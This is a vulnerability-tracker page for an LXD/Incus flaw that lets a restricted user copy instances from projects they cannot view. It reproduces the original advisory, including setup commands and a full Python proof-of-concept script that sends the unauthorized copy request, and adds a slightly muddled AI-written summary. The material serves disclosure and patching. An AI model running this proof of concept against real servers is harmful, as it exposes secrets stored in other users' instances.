- Exploited
- No known exploitation
- Fix
- Fixed in 0.0.0-20260630083100-c5184be310b1
- Who is exposed
- Not reported
Do first: Upgrade to a fixed version: 0.0.0-20260630083100-c5184be310b1.
- Last modified
- A 0-100 score for how much a CVE matters across the industry: exploitation, exposure, how widely the software is used, severity and whether a fix exists.What do these mean? →
- 17/100 · provisional
- The rating the maker of the software gives it. Shown when it differs from the CVSS level.What do these mean? →
- High (ghsa)
- Whether working attack code is public (Exploit-DB, Metasploit, Nuclei or GitHub). Public code makes attacks easier.What do these mean? →
- None on Exploit-DB, Metasploit or GitHub
Summary
LXD, a container and virtual machine manager, has a flaw that lets a user with access to one project copy an instance from a project they are not allowed to view, if they know the project and instance names, which could expose secrets stored in that instance. Because the attacker's access to the target server is needed, the copy can be made, and the copied instance can then be moved to another server.
Written by anthropic/claude-haiku-5.5 from the sources below. Verify against them.
Read the original description
Reported from https://github.com/lxc/incus/security/advisories/GHSA-c9f5-j9c3-mhrg
Summary
Missing authorization checks exist for instance copying where an attacker knowing the name of a project that they don't have access to and the name of an instance in that project can copy the instance to a new project. This issue could allow an attacker to access secrets in instances they are not authorized to access.
Details
cmd/incusd/instances.go authorizes POST /1.0/instances against the target project. In the copy path, cmd/incusd/instances_post.go then loads the source instance from req.Source.Project without checking whether the caller can view that source instance.
From my understanding, the copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the instance to another server.
PoC
Setup
We assume the target server is remotely accessible and a user/certificate has been added.
# create a new project and instance
incus project create secrets
incus profile show default | incus --project secrets edit default
incus --project secrets init images:debian/trixie secret
# restrict an existing certificate to prevent access to the project
incus config trust edit cert-fp
#> set, for example
restricted: true
projects:
- default
# verification, with the restricted certificate
incus ls remote:Exploitation
The below script was partly generated. To copy the secret instance to the default project, the following command can be used.
python3 poc.py --url https://IP-REMOTE:8443 \
--cert path/to/client.crt --key path/to/client.key \
--target-project default --source-project secrets \
--source-instance secret --name copy-secret --insecureWait a bit for the instance to be copied, then incus ls remote: to see the copied instance.
#!/usr/bin/env python3
"""Copy an instance from a project the caller should not be able to read."""
from __future__ import annotations
import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
ctx = ssl.create_default_context()
if insecure:
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.load_cert_chain(cert, key)
req = urllib.request.Request(
url.rstrip("/") + path,
data=json.dumps(body).encode(),
method="POST",
headers={"Content-Type": "application/json", "Accept": "application/json"},
)
try:
with urllib.request.urlopen(req, context=ctx) as resp:
return resp.read()
except urllib.error.HTTPError as exc:
sys.stderr.write(exc.read().decode(errors="replace") + "\n")
raise
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("--url", required=True)
ap.add_argument("--cert", required=True)
ap.add_argument("--key", required=True)
ap.add_argument("--target-project", required=True)
ap.add_argument("--source-project", required=True)
ap.add_argument("--source-instance", required=True)
ap.add_argument("--name", required=True, help="new instance name in target project")
ap.add_argument("--instance-only", action="store_true")
ap.add_argument("--start", action="store_true")
ap.add_argument("--insecure", action="store_true")
ap.add_argument("--dry-run", action="store_true")
args = ap.parse_args()
body = {
"name": args.name,
"source": {
"type": "copy",
"source": args.source_instance,
"project": args.source_project,
"instance_only": args.instance_only,
},
"start": args.start,
}
path = "/1.0/instances?" + urllib.parse.urlencode({"project": args.target_project})
print(json.dumps(body, indent=2))
if args.dry_run:
return 0
print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
return 0
if __name__ == "__main__":
raise SystemExit(main())Impact
An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.
cve.now Index
- Exploitation?/40Unknown. No CISA SSVC exploitation rating yet
- Exposure?/25Unknown. No advisory context yet
- Reach10/20Affects Go packages
- Severity7/10Rated high by ghsa
- No patch0/5No signal
What would change the score
- Would score about 72 if added to CISA KEV
- Would score about 67 if CISA's SSVC rates exploitation active
- Would score about 39 if advisories confirm default setups are exposed
What to do
Upgrade to a fixed version: 0.0.0-20260630083100-c5184be310b1.
Timeline
- Advisory published
- Record last updated
- First seen by cve.now
Affected versions
- github.com/canonical/lxdGo
fixed in 0.0.0-20260630083100-c5184be310b1
Evidence 10
- Advisory
- Advisory
- Advisory
- Repository
- Repository
Show all 10 sourcesShow fewer sources
- Repository
- Repository
- Repository
- Repository
- Repository
Corrections
None so far.
Something wrong on this page? Report an error. Every fix is listed here.
Questions about GHSA-QX75-2P3R-PWM5
Is GHSA-QX75-2P3R-PWM5 being exploited?
It is not in CISA's Known Exploited Vulnerabilities catalog, and CISA's SSVC assessment does not mark exploitation as active. That does not mean it has not been attacked: vendors and researchers can report attacks before CISA lists them. No public exploit code is tracked.Source: cve.now feed data
Which versions are affected by GHSA-QX75-2P3R-PWM5?
github.com/canonical/lxd (Go): before 0.0.0-20260630083100-c5184be310b1.Source: cve.now feed data
How do I fix GHSA-QX75-2P3R-PWM5?
Upgrade to a fixed version: 0.0.0-20260630083100-c5184be310b1.Source: cve.now feed data